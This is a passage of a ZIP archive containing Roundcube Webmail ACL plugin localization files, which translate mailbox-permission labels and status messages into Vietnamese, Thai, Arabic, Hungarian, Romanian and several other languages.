$labels['acls'] = 'Giữ trạng thái đã xem qua';
$labels['aclw'] = 'Cờ đánh dấu cho mục viết';
$labels['acli'] = 'Chèn thêm (sao chép vào)';
$labels['aclp'] = 'Đăng bài';
$labels['aclc'] = 'Tạo giữ liệu con';
$labels['aclk'] = 'Tạo giữ liệu con';
$labels['acld'] = 'Xóa thư';
$labels['aclt'] = 'Xóa thư';
$labels['acle'] = 'Thải bỏ';
$labels['aclx'] = 'Xóa giữ liệu';
$labels['acla'] = 'Quản lý';
$labels['acln'] = 'Thông tin chú thích';
$labels['aclfull'] = 'Quản lý toàn bộ';
$labels['aclother'] = 'Loại khác';
$labels['aclread'] = 'Đọc';
$labels['aclwrite'] = 'Viết';
$labels['acldelete'] = 'Xoá';
$labels['shortacll'] = 'Tìm kiếm';
$labels['shortaclr'] = 'Đọc';
$labels['shortacls'] = 'Giữ';
$labels['shortaclw'] = 'Viết';
$labels['shortacli'] = 'Chèn';
$labels['shortaclp'] = 'Đăng bài';
$labels['shortaclc'] = 'Tạo mới';
$labels['shortaclk'] = 'Tạo mới';
$labels['shortacld'] = 'Xoá';
$labels['shortaclt'] = 'Xoá';
$labels['shortacle'] = 'Thải bỏ';
$labels['shortaclx'] = 'Giữ liệu được xóa';
$labels['shortacla'] = 'Quản lý';
$labels['shortacln'] = 'Chú thích';
$labels['shortaclother'] = 'Loại khác';
$labels['shortaclread'] = 'Đọc';
$labels['shortaclwrite'] = 'Viết';
$labels['shortacldelete'] = 'Xoá';
$labels['longacll'] = 'Thư mục đã được hiển thị và có thể đăng ký sử dụng';
$labels['longaclr'] = 'Thư mục có thể được mở để đọc';
$labels['longacls'] = 'Cờ đánh dấu thư đã xem qua có thể thay đổi';
$labels['longaclw'] = 'Cờ thư và từ khóa có thể thay đổi, ngoại trừ đã xem qua và bị xóa';
$labels['longacli'] = 'Thư có thể được ghi hoặc sao chép vào giữ liệu';
$labels['longaclp'] = 'Thư có thể bỏ vào trong giữ liệu này';
$labels['longaclc'] = 'Các giữ liệu có thể được tạo (hoặc đặt lại tên) trực tiếp dưới giữ liệu này';
$labels['longaclk'] = 'Các giữ liệu có thể được tạo (hoặc đặt lại tên) trực tiếp dưới giữ liệu này';
$labels['longacld'] = 'Cờ đánh dấu thư xóa có thể thay đổi';
$labels['longaclt'] = 'Cờ đánh dấu thư xóa có thể thay đổi';
$labels['longacle'] = 'Thư có thể thải bỏ';
$labels['longaclx'] = 'Giữ liệu có thể xóa được hoặc đặt lại tên';
$labels['longacla'] = 'Quyên truy cập giữ liệu có thể thay đổi';
$labels['longacln'] = 'Dữ liệu thông tin (chú thích) của thư có thể thay đổi';
$labels['longaclfull'] = 'Quản lý toàn bộ bao gồm cả sự thi hành giữ liệu';
$labels['longaclread'] = 'Giữ liệu có thể được mở để đọc';
$labels['longaclwrite'] = 'Thư có thể được đánh dấu, ghi hoăc sao chép vào giữ liệu';
$labels['longacldelete'] = 'Thư có thể bị xóa';
$labels['longaclother'] = 'Quyền truy cập khác';
$labels['ariasummaryacltable'] = 'Danh sách quyền truy cập';
$labels['arialabelaclactions'] = 'Danh sách hành động';
$labels['arialabelaclform'] = 'Bảng khai quyền truy cập';
$messages['deleting'] = 'Xóa quyền truy cập...';
$messages['saving'] = 'Lưu quyền truy cập...';
$messages['updatesuccess'] = 'Thay đổi quyền truy cập thành công...';
$messages['deletesuccess'] = 'Xóa quyền truy cập thành công...';
$messages['createsuccess'] = 'Thêm quyền truy cập thành công...';
$messages['updateerror'] = 'Không thể cập nhật quyền truy cập';
$messages['deleteerror'] = 'Khôngthể xóa quyền truy cập';
$messages['createerror'] = 'Không thể thêm quyền truy cập';
$messages['deleteconfirm'] = 'Bạn có chắc là muốn xóa bỏ quyền truy cập của người dùng được chọn?';
$messages['norights'] = 'Chưa có quyền nào được chỉ định!';
$messages['nouser'] = 'Chưa có tên truy nhập được chỉ định!';
PKh�\��2h>
>
"plugins/acl/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'การแชร์ข้อมูล';
$labels['myrights'] = 'สิทธิ์การเข้าใช้';
$labels['username'] = 'ผู้ใช้งาน:';
$labels['add'] = 'เพิ่ม';
$labels['newuser'] = 'เพิ่มรายการ';
$labels['anyone'] = 'ผู้ใช้งานทั้งหมด (ใครก็ได้)';
$labels['anonymous'] = 'ผู้เยี่ยมชม (คนแปลกหน้า)';
$labels['acll'] = 'ดู';
$labels['aclr'] = 'อ่านข้อความ';
$labels['acli'] = 'แทรก (คัดลอกไปไว้)';
$labels['aclp'] = 'โพสต์';
$labels['aclc'] = 'สร้างโฟลเดอร์ย่อย';
$labels['aclk'] = 'สร้างโฟลเดอร์ย่อย';
$labels['acld'] = 'ลบข้อความ';
$labels['aclt'] = 'ลบข้อความ';
$labels['aclx'] = 'ลบโฟลเดอร์';
$labels['acla'] = 'Administer';
$labels['aclfull'] = 'Full control';
$labels['aclother'] = 'อื่นๆ';
$labels['aclread'] = 'อ่าน';
$labels['aclwrite'] = 'เขียน';
$labels['acldelete'] = 'ลบ';
$labels['shortacll'] = 'ดู';
$labels['shortaclr'] = 'อ่าน';
$labels['shortacls'] = 'เก็บ';
$labels['shortaclw'] = 'เขียน';
$labels['shortacli'] = 'แทรก';
$labels['shortaclp'] = 'โพสต์';
$labels['shortaclc'] = 'สร้าง';
$labels['shortaclk'] = 'สร้าง';
$labels['shortacld'] = 'ลบ';
$labels['shortaclt'] = 'ลบ';
$labels['shortaclx'] = 'ลบโฟลเดอร์';
$labels['shortacla'] = 'Administer';
$labels['shortaclother'] = 'อื่นๆ';
$labels['shortaclread'] = 'อ่าน';
$labels['shortaclwrite'] = 'เขียน';
$labels['shortacldelete'] = 'ลบ';
PKh�\a5<�xx"plugins/acl/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'مشاركة';
$labels['myrights'] = 'حقوق الوصول';
$labels['username'] = 'مستخدم:';
$labels['advanced'] = 'وضع متقدم';
$labels['add'] = 'إضافة';
$labels['newuser'] = 'اضافة مدخل';
$labels['editperms'] = 'تعديل الصلاحيات';
$labels['actions'] = 'اجراءات حقوق الوصول...';
$labels['anyone'] = 'كل المستخدمين(اي شخص)';
$labels['anonymous'] = 'ضيف (مجهول)';
$labels['identifier'] = 'معرف';
$labels['acll'] = 'بحث';
$labels['aclr'] = 'قراءة الرسائل';
$labels['acls'] = 'ابقاء حالة الزيارة';
$labels['aclw'] = 'اكتب رمز';
$labels['acli'] = 'ادخل (نسخ الى)';
$labels['aclp'] = 'نشر';
$labels['aclc'] = 'إنشاء مجلدات فرعية';
$labels['aclk'] = 'إنشاء مجلدات فرعية';
$labels['acld'] = 'حذف الرسائل';
$labels['aclt'] = 'حذف الرسائل';
$labels['acle'] = 'حُذف';
$labels['aclx'] = 'حذف المجلد';
$labels['acla'] = 'ادارة';
$labels['acln'] = 'التعليق على الرسائل';
$labels['aclfull'] = 'تحكم كامل';
$labels['aclother'] = 'اخرى';
$labels['aclread'] = 'قراءة ';
$labels['aclwrite'] = 'كتابة';
$labels['acldelete'] = 'حذف';
$labels['shortacll'] = 'بحث';
$labels['shortaclr'] = 'قراءة ';
$labels['shortacls'] = 'ابقاء';
$labels['shortaclw'] = 'قراءة';
$labels['shortacli'] = 'ادراج';
$labels['shortaclp'] = 'نشر';
$labels['shortaclc'] = 'أنشئ';
$labels['shortaclk'] = 'أنشئ';
$labels['shortacld'] = 'حذف';
$labels['shortaclt'] = 'حذف';
$labels['shortacle'] = 'حُذف';
$labels['shortaclx'] = 'حذف المجلد';
$labels['shortacla'] = 'ادارة';
$labels['shortacln'] = 'كتابة تعليق';
$labels['shortaclother'] = 'اخرى';
$labels['shortaclread'] = 'قراءة ';
$labels['shortaclwrite'] = 'كتابة';
$labels['shortacldelete'] = 'حذف';
$labels['longacll'] = 'المجلد مرئي في القائمة وبالامكان ايضا الاشتراك';
$labels['longaclr'] = 'من الممكن فتح المجلد للقراءة';
$labels['longacls'] = 'وسم الزيارة في الرسائل بالامكان تغييره';
$labels['longaclw'] = 'وسم والكلمات الرئيسية في الرسائل يمكن تغييره, ماعدا الزيارة والحذف ';
$labels['longacli'] = 'بالامكان كتابة الرسائل ونسخها الى هذا المجلد';
$labels['longaclp'] = 'بالامكان نشر الرسائل الى هذ المجلد';
$labels['longaclc'] = 'بالامكان انشاء المجلدات ( او اعادة التسمية ) مباشرة تحت هذا المجلد';
$labels['longaclk'] = 'بالامكان انشاء المجلدات ( او اعادة التسمية ) مباشرة تحت هذا المجلد';
$labels['longacld'] = 'حذف وسم الرسائل من الممكن تغييرة';
$labels['longaclt'] = 'حذف وسم الرسائل من الممكن تغييرة';
$labels['longacle'] = 'بالامكان شطب الرسائل';
$labels['longaclx'] = 'هذا المجلد بالامكان حذفة او اعادة تسميته';
$labels['longacla'] = 'حقوق الوصول لهذا المجلد بالامكان تغييره';
$labels['longacln'] = 'يمكن تغيير البيانات الوصفية (التعليقات) المشتركة بين الرسائل';
$labels['longaclfull'] = 'التحكم الكامل يتضمن ادارة المجلدات';
$labels['longaclread'] = 'من الممكن فتح المجلد للقراءة';
$labels['longaclwrite'] = 'لا يمكن وضع علامة على الرسائل, كتبت او نسخة الى هذا المجلد';
$labels['longacldelete'] = 'لا يمكن حذف الرسائل';
$labels['longaclother'] = 'حقوق الوصول الأخرى';
$labels['ariasummaryacltable'] = 'قائمة حقوق الوصول';
$labels['arialabelaclactions'] = 'قائمة الإجراءات';
$labels['arialabelaclform'] = 'نموذج حقوق الوصول';
$messages['deleting'] = 'جاري حذف حقوق الوصول...';
$messages['saving'] = 'جاري حفظ حقوق الوصول...';
$messages['updatesuccess'] = 'تم تغيير حقوق الوصول بنجاح';
$messages['deletesuccess'] = 'تم حذف حقوق الوصول بنجاح';
$messages['createsuccess'] = 'تم اضافة حقوق الوصول بنجاح';
$messages['updateerror'] = 'لا يمكن تحديث حقوق الوصول';
$messages['deleteerror'] = 'لا يمكن حذف حقوق الوصول';
$messages['createerror'] = 'لا يمكن اضافة حقوق الوصول';
$messages['deleteconfirm'] = 'هل تريد فعلاً حذف حقوق الوصول لـ المستخدمين المحددين ؟';
$messages['norights'] = 'لم يتم تحديد حقوق وصول!';
$messages['nouser'] = 'لم يتم تحديد اسم مستخدم!';
PKh�\a�n��"plugins/acl/localization/ms_MY.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/


$labels['acldelete'] = 'Padam';
$labels['shortaclc'] = 'Cipta';
$labels['shortaclk'] = 'Cipta';
$labels['shortacld'] = 'Padam';
$labels['shortaclt'] = 'Padam';
$labels['shortacldelete'] = 'Padam';
PKh�\]Cg��"plugins/acl/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Paylaşma';
$labels['myrights'] = 'Giriş hüququ';
$labels['username'] = 'İstifadəçi:';
$labels['advanced'] = 'Ekspert rejimi';
$labels['add'] = 'Əlavə et';
$labels['newuser'] = 'Sahə əlavə et';
$labels['editperms'] = 'Cavabları redaktə et';
$labels['actions'] = 'Giriş hüququ ilə hərəkət...';
$labels['anyone'] = 'Bütün istifadəçilər (istənilən)';
$labels['anonymous'] = 'Qonaqlar (anonimlər)';
$labels['identifier'] = 'İdentifikator';
$labels['acll'] = 'Baxış';
$labels['aclr'] = 'Məktubu oxu';
$labels['acls'] = 'Oxunulan kimi saxla';
$labels['aclw'] = 'Yazı bayrağı';
$labels['acli'] = 'Əlavə et (kopyala)';
$labels['aclp'] = 'Yazı';
$labels['aclc'] = 'Qovluqaltı yarat';
$labels['aclk'] = 'Qovluqaltı yarat';
$labels['acld'] = 'Məktubu sil';
$labels['aclt'] = 'Məktubu sil';
$labels['acle'] = 'Poz';
$labels['aclx'] = 'Qovluğu sil';
$labels['acla'] = 'İdarə';
$labels['acln'] = 'Mesajl şərh et';
$labels['aclfull'] = 'Tam idarə';
$labels['aclother'] = 'Digər';
$labels['aclread'] = 'Oxu';
$labels['aclwrite'] = 'Yaz';
$labels['acldelete'] = 'Sil';
$labels['shortacll'] = 'Baxış';
$labels['shortaclr'] = 'Oxu';
$labels['shortacls'] = 'Saxla';
$labels['shortaclw'] = 'Yaz';
$labels['shortacli'] = 'Yerləşdir';
$labels['shortaclp'] = 'Yazı';
$labels['shortaclc'] = 'Yarat';
$labels['shortaclk'] = 'Yarat';
$labels['shortacld'] = 'Sil';
$labels['shortaclt'] = 'Sil';
$labels['shortacle'] = 'Poz';
$labels['shortaclx'] = 'Qovluğun silinməsi';
$labels['shortacla'] = 'İdarə';
$labels['shortacln'] = 'Şərh';
$labels['shortaclother'] = 'Digər';
$labels['shortaclread'] = 'Oxu';
$labels['shortaclwrite'] = 'Yaz';
$labels['shortacldelete'] = 'Sil';
$labels['longacll'] = 'Qovluq siyahıda görünür və yazılmağa hazırdır';
$labels['longaclr'] = 'Bu qovluq oxunmaq üçün açıla bilər';
$labels['longacls'] = 'Oxunulan flaqı dəyişdirilə bilər';
$labels['longaclw'] = 'Oxunulan və silinənlərdən başqa flaqlar və açar sözləri dəyişdirilə bilər';
$labels['longacli'] = 'Məktub qovluğa yazıla və ya saxlanıla bilər';
$labels['longaclp'] = 'Məktub bu qovluğa göndərilə bilər';
$labels['longaclc'] = 'Qovluqaltları bu qovluqda yaradıla və ya adı dəyişdirilə bilər';
$labels['longaclk'] = 'Qovluqaltları bu qovluqda yaradıla və ya adı dəyişdirilə bilər';
$labels['longacld'] = 'Silinən flaqı dəyişdirilə bilər';
$labels['longaclt'] = 'Silinən flaqı dəyişdirilə bilər';
$labels['longacle'] = 'Məktublar pozula bilər';
$labels['longaclx'] = 'Bu qovluq silinə və ya adı dəyişdirilə bilər';
$labels['longacla'] = 'Bu qovluğa giriş hüququ dəyişdirilə bilər';
$labels['longacln'] = 'Müştərək metaməlumatlar (şərhlər) dəyişdirilə bilər';
$labels['longaclfull'] = 'Qovluğun idarəsi ilə birlikdə, tam giriş.';
$labels['longaclread'] = 'Bu qovluq oxunmaq üçün açıla bilər';
$labels['longaclwrite'] = 'Məktubu bu qovluğa qeyd etmək, yazmaq və kopyalamaq olar';
$labels['longacldelete'] = 'Məktubu silmək olar';
$labels['longaclother'] = 'Digər giriş hüquqları';
$labels['ariasummaryacltable'] = 'Giriş hüquqlarının siyahısı';
$labels['arialabelaclactions'] = 'Hərəkət siyahısı';
$labels['arialabelaclform'] = 'Giriş hüquqlarının forması';
$messages['deleting'] = 'Giriş hüququnun silinməsi...';
$messages['saving'] = 'Giriş hüququnun saxlanılması...';
$messages['updatesuccess'] = 'Giriş hüququ dəyişdirildi';
$messages['deletesuccess'] = 'Giriş hüququ silindi';
$messages['createsuccess'] = 'Giriş hüququ əlavə edildi';
$messages['updateerror'] = 'Hüquqları yeniləmək alınmadı';
$messages['deleteerror'] = 'Giriş hüququnu silmək mümkün deyil';
$messages['createerror'] = 'Giriş hüququnu əlavə etmək mümkün deyil';
$messages['deleteconfirm'] = 'Seçilmiş istifadəçilərin giriş hüququnu silməkdə əminsiniz?';
$messages['norights'] = 'Giriş hüquqları göstərilməyib!';
$messages['nouser'] = 'İstifadəçi adı təyin olunmayıb!';
PKh�\E���"plugins/acl/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Berbagi';
$labels['myrights'] = 'Hak Akses';
$labels['username'] = 'Pengguna:';
$labels['advanced'] = 'Mode Lanjut';
$labels['add'] = 'Tambah';
$labels['newuser'] = 'Tambahkan entri';
$labels['editperms'] = 'Ubah izin';
$labels['actions'] = 'Aksi hak akses...';
$labels['anyone'] = 'Semua pengguna (siapa saja)';
$labels['anonymous'] = 'Para tamu (anonim)';
$labels['identifier'] = 'Yang mengidentifikasi';
$labels['acll'] = 'Cari';
$labels['aclr'] = 'Baca pesan';
$labels['acls'] = 'Jaga status terbaca';
$labels['aclw'] = 'Membuat tanda';
$labels['acli'] = 'Sisipkan (Salin kedalam)';
$labels['aclp'] = 'Tulisan';
$labels['aclc'] = 'Buat subfolder';
$labels['aclk'] = 'Buat subfolder';
$labels['acld'] = 'Hapus pesan';
$labels['aclt'] = 'Hapus pesan';
$labels['acle'] = 'Menghapus';
$labels['aclx'] = 'Hapus folder';
$labels['acla'] = 'Kelola';
$labels['acln'] = 'Berikan keterangan pesan';
$labels['aclfull'] = 'Kendali penuh';
$labels['aclother'] = 'Lainnya';
$labels['aclread'] = 'Baca';
$labels['aclwrite'] = 'Tulis';
$labels['acldelete'] = 'Hapus';
$labels['shortacll'] = 'Cari';
$labels['shortaclr'] = 'Baca';
$labels['shortacls'] = 'Simpan';
$labels['shortaclw'] = 'Tulis';
$labels['shortacli'] = 'Sisipkan';
$labels['shortaclp'] = 'Tulisan';
$labels['shortaclc'] = 'Buat';
$labels['shortaclk'] = 'Buat';
$labels['shortacld'] = 'Hapus';
$labels['shortaclt'] = 'Hapus';
$labels['shortacle'] = 'Buang';
$labels['shortaclx'] = 'Hapus folder';
$labels['shortacla'] = 'Kelola';
$labels['shortacln'] = 'Berikan keterangan';
$labels['shortaclother'] = 'Lainnya';
$labels['shortaclread'] = 'Baca';
$labels['shortaclwrite'] = 'Tulis';
$labels['shortacldelete'] = 'Hapus';
$labels['longacll'] = 'Folder terlihat di daftar dan dapat dijadikan langganan';
$labels['longaclr'] = 'Folder dapat dibuka untuk dibaca';
$labels['longacls'] = 'Tanda pesan terbaca dapat diubah';
$labels['longaclw'] = 'Tanda pesan dan kata kunci dapat diubah, kecuali Terbaca dan Terhapus';
$labels['longacli'] = 'Pesan dapat ditulis atau disalin kedalam folder';
$labels['longaclp'] = 'Pesan dapat dikirim ke folder ini';
$labels['longaclc'] = 'Folder dapat dibuat (atau diubah namanya) langsung dari folder ini';
$labels['longaclk'] = 'Folder dapat dibuat (atau diubah namanya) langsung dari folder ini';
$labels['longacld'] = 'Tanda hapus pesan dapat diubah';
$labels['longaclt'] = 'Tanda hapus pesan dapat diubah';
$labels['longacle'] = 'Pesan dapat dibuang';
$labels['longaclx'] = 'Folder dapat dihapus atau diubah namanya';
$labels['longacla'] = 'Hak akses folder dapat diubah';
$labels['longacln'] = 'Metadata pesan bersama (penjelasan) dapat diubah';
$labels['longaclfull'] = 'Kendali penuh penuh termasuk administrasi';
$labels['longaclread'] = 'Folder dapat dibuka untuk dibaca';
$labels['longaclwrite'] = 'Pesan dapat ditandai, ditulis atau disalin kedalam folder';
$labels['longacldelete'] = 'Pesan dapat dihapus';
$labels['longaclother'] = 'Hak akses lainnya';
$labels['ariasummaryacltable'] = 'Daftar hak akses';
$labels['arialabelaclactions'] = 'Aksi daftar';
$labels['arialabelaclform'] = 'Formulir hak akses';
$messages['deleting'] = 'Menghapus hak akses...';
$messages['saving'] = 'Menyimpan hak akses...';
$messages['updatesuccess'] = 'Hak akses berhasil diubah';
$messages['deletesuccess'] = 'Hak akses berhasil dihapus';
$messages['createsuccess'] = 'Hak akses berhasil ditambahkan';
$messages['updateerror'] = 'Tidak dapat memperbaharui hak akses';
$messages['deleteerror'] = 'Tidak dapat menghapus hak akses';
$messages['createerror'] = 'Tidak dapat menambah hak akses';
$messages['deleteconfirm'] = 'Apakah Anda yakin ingin menghapus hak akses dari user terpilih?';
$messages['norights'] = 'Hak belum ditentukan!';
$messages['nouser'] = 'Username belum ditentukan!';
PKh�\�Y��VV plugins/acl/localization/tzl.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['username'] = 'Uçeir:';
$labels['anonymous'] = 'Gästs (anonimös)';
$labels['aclread'] = 'Lirarh';
$labels['acldelete'] = 'Zeletarh';
$labels['shortaclr'] = 'Lirarh';
$labels['shortacld'] = 'Zeletarh';
$labels['shortaclt'] = 'Zeletarh';
$labels['shortaclread'] = 'Lirarh';
$labels['shortacldelete'] = 'Zeletarh';
PKh�\�N�4vv"plugins/acl/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Megosztás';
$labels['myrights'] = 'Hozzáférési jogok';
$labels['username'] = 'Felhasználó:';
$labels['advanced'] = 'Haladó mód';
$labels['add'] = 'Hozzáadás';
$labels['newuser'] = 'Elem hozzáadása';
$labels['editperms'] = 'Jogosultságok szerkesztése';
$labels['actions'] = 'Hozzáférési jogok müveletei..';
$labels['anyone'] = 'Minden felhasználó (bárki)';
$labels['anonymous'] = 'Vendégek (névtelen)';
$labels['identifier'] = 'Azonosító';
$labels['acll'] = 'Keresés';
$labels['aclr'] = 'Üzenetek olvasása';
$labels['acls'] = 'Olvasottsági állapot megtartása';
$labels['aclw'] = 'Üzenet jelölése';
$labels['acli'] = 'Beillesztés (Bemásolás)';
$labels['aclp'] = 'Bejegyzés';
$labels['aclc'] = 'Almappa létrehozás';
$labels['aclk'] = 'Almappa létrehozás';
$labels['acld'] = 'Üzenetek törlése';
$labels['aclt'] = 'Üzenetek törlése';
$labels['acle'] = 'Törölt üzenetek eltávolítása';
$labels['aclx'] = 'Mappa törlés';
$labels['acla'] = 'Adminisztrátor';
$labels['acln'] = 'Üzenetekhez címkézés';
$labels['aclfull'] = 'Teljes hozzáférés';
$labels['aclother'] = 'Egyéb';
$labels['aclread'] = 'Olvasás';
$labels['aclwrite'] = 'Írás';
$labels['acldelete'] = 'Törlés';
$labels['shortacll'] = 'Keresés';
$labels['shortaclr'] = 'Olvasás';
$labels['shortacls'] = 'Megtartás';
$labels['shortaclw'] = 'Írás';
$labels['shortacli'] = 'Beszúrás';
$labels['shortaclp'] = 'Bejegyzés';
$labels['shortaclc'] = 'Létrehozás';
$labels['shortaclk'] = 'Létrehozás';
$labels['shortacld'] = 'Törlés';
$labels['shortaclt'] = 'Törlés';
$labels['shortacle'] = 'Törölt üzenetek eltávolítása';
$labels['shortaclx'] = 'Mappa törlése';
$labels['shortacla'] = 'Adminisztrátor';
$labels['shortacln'] = 'Cimkézés';
$labels['shortaclother'] = 'Egyéb';
$labels['shortaclread'] = 'Olvasás';
$labels['shortaclwrite'] = 'Írás';
$labels['shortacldelete'] = 'Törlés';
$labels['longacll'] = 'A mappa látható a listán és fel tudsz rá iratkozni.';
$labels['longaclr'] = 'A mappa olvasásra megnyitható';
$labels['longacls'] = 'Az üzenet megtekintési állapota módosítható';
$labels['longaclw'] = 'Az üzenetek jelölései és kulcsszavai módosíthatóak, kivéve az olvasottsági állapotot és az üzenet törölt állapotát.';
$labels['longacli'] = 'Üzenetek irhatóak és máolshatóak a mappába.';
$labels['longaclp'] = 'Ebbe a mappába tudsz  üzeneteket tenni.';
$labels['longaclc'] = 'Mappák létrehozhazóak (átnevezhetőek) ez alatt a mappa alatt.';
$labels['longaclk'] = 'Mappák létrehozhazóak (átnevezhetőek) ez alatt a mappa alatt.';
$labels['longacld'] = 'Üzenet törölve jelző módositható.';
$labels['longaclt'] = 'Üzenet törölve jelző módositható.';
$labels['longacle'] = 'Az üzenetek véglegesen eltávolíthatóak';
$labels['longaclx'] = 'A mappa törölhető vagy átnevezhető';
$labels['longacla'] = 'A mappa hozzáférési jogai módosíthatóak';
$labels['longacln'] = 'Üzenetek megosztott metaadatai(cimkéi) módosíthatoak';
$labels['longaclfull'] = 'Teljes hozzáférés beleértve a mappák kezelését';
$labels['longaclread'] = 'A mappa olvasásra megnyitható';
$labels['longaclwrite'] = 'Az üzenetek megjelölhetök, irhatók és másolhatók ebbe a mappába';
$labels['longacldelete'] = 'Az üzenetek törölhetőek';
$labels['longaclother'] = 'Egyébb hozzáférési jogok';
$labels['ariasummaryacltable'] = 'Hozzáférési jogok listája';
$labels['arialabelaclactions'] = 'Listázási müveletek';
$labels['arialabelaclform'] = 'Hozzáférési jogok űrlap';
$messages['deleting'] = 'Hozzáférési jogok törlése...';
$messages['saving'] = 'Hozzáférési jogok mentése...';
$messages['updatesuccess'] = 'A hozzáférési jogok sikeresen módosultak.';
$messages['deletesuccess'] = 'A hozzáférési jogok törlése sikeresen megtörtént.';
$messages['createsuccess'] = 'A hozzáférési jogok hozzáadása sikeresen megtörtént.';
$messages['updateerror'] = 'Nem sikerült módosítani a hozzáférési jogokat.';
$messages['deleteerror'] = 'Nem sikerült törölni a hozzáférési jogokat.';
$messages['createerror'] = 'Nem sikerült a hozzáférési jogok hozzáadása';
$messages['deleteconfirm'] = 'Biztosan eltávolítja a kiválasztott felhasználó(k) hozzáférési jogait?';
$messages['norights'] = 'Nincsennek jogok megadva.';
$messages['nouser'] = 'A felhasználónév nincs megadva.';
PKh�\���ss"plugins/acl/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Partajare';
$labels['myrights'] = 'Drepturi de acces';
$labels['username'] = 'Utilizator:';
$labels['advanced'] = 'Modul avansat';
$labels['add'] = 'Adauga';
$labels['newuser'] = 'Adăugare intrare';
$labels['editperms'] = 'Editare permisiuni';
$labels['actions'] = 'Acțiunea drepturilor de acces...';
$labels['anyone'] = 'Toți utilizatori (oricare)';
$labels['anonymous'] = 'Vizitator';
$labels['identifier'] = 'Identificator';
$labels['acll'] = 'Caută';
$labels['aclr'] = 'Citire mesaje';
$labels['acls'] = 'Menține starea citirii';
$labels['aclw'] = 'Indicator scriere';
$labels['acli'] = 'Inserare (copiere în)';
$labels['aclp'] = 'Postează';
$labels['aclc'] = 'Creează subdirectoare';
$labels['aclk'] = 'Creează subdirectoare';
$labels['acld'] = 'Ștergere mesaje';
$labels['aclt'] = 'Ștergere mesaje';
$labels['acle'] = 'Elimină';
$labels['aclx'] = 'Ștergere dosar';
$labels['acla'] = 'Administrează';
$labels['acln'] = 'Adnotează mesajele';
$labels['aclfull'] = 'Control complet';
$labels['aclother'] = 'Altul';
$labels['aclread'] = 'Citeşte';
$labels['aclwrite'] = 'Scrie';
$labels['acldelete'] = 'Șterge';
$labels['shortacll'] = 'Caută';
$labels['shortaclr'] = 'Citeşte';
$labels['shortacls'] = 'Păstrează';
$labels['shortaclw'] = 'Scrie';
$labels['shortacli'] = 'Inserează';
$labels['shortaclp'] = 'Postează';
$labels['shortaclc'] = 'Creează';
$labels['shortaclk'] = 'Creează';
$labels['shortacld'] = 'Șterge';
$labels['shortaclt'] = 'Șterge';
$labels['shortacle'] = 'Elimină';
$labels['shortaclx'] = 'Ștergere dosar';
$labels['shortacla'] = 'Administrează';
$labels['shortacln'] = 'Adnotă';
$labels['shortaclother'] = 'Altul';
$labels['shortaclread'] = 'Citeşte';
$labels['shortaclwrite'] = 'Scrie';
$labels['shortacldelete'] = 'Șterge';
$labels['longacll'] = 'Dosarul este vizibil pe liste și se poate subscrie la acesta';
$labels['longaclr'] = 'Dosarul se poate deschide pentru citire';
$labels['longacls'] = 'Indicatorul de Văzut a fost schimbat';
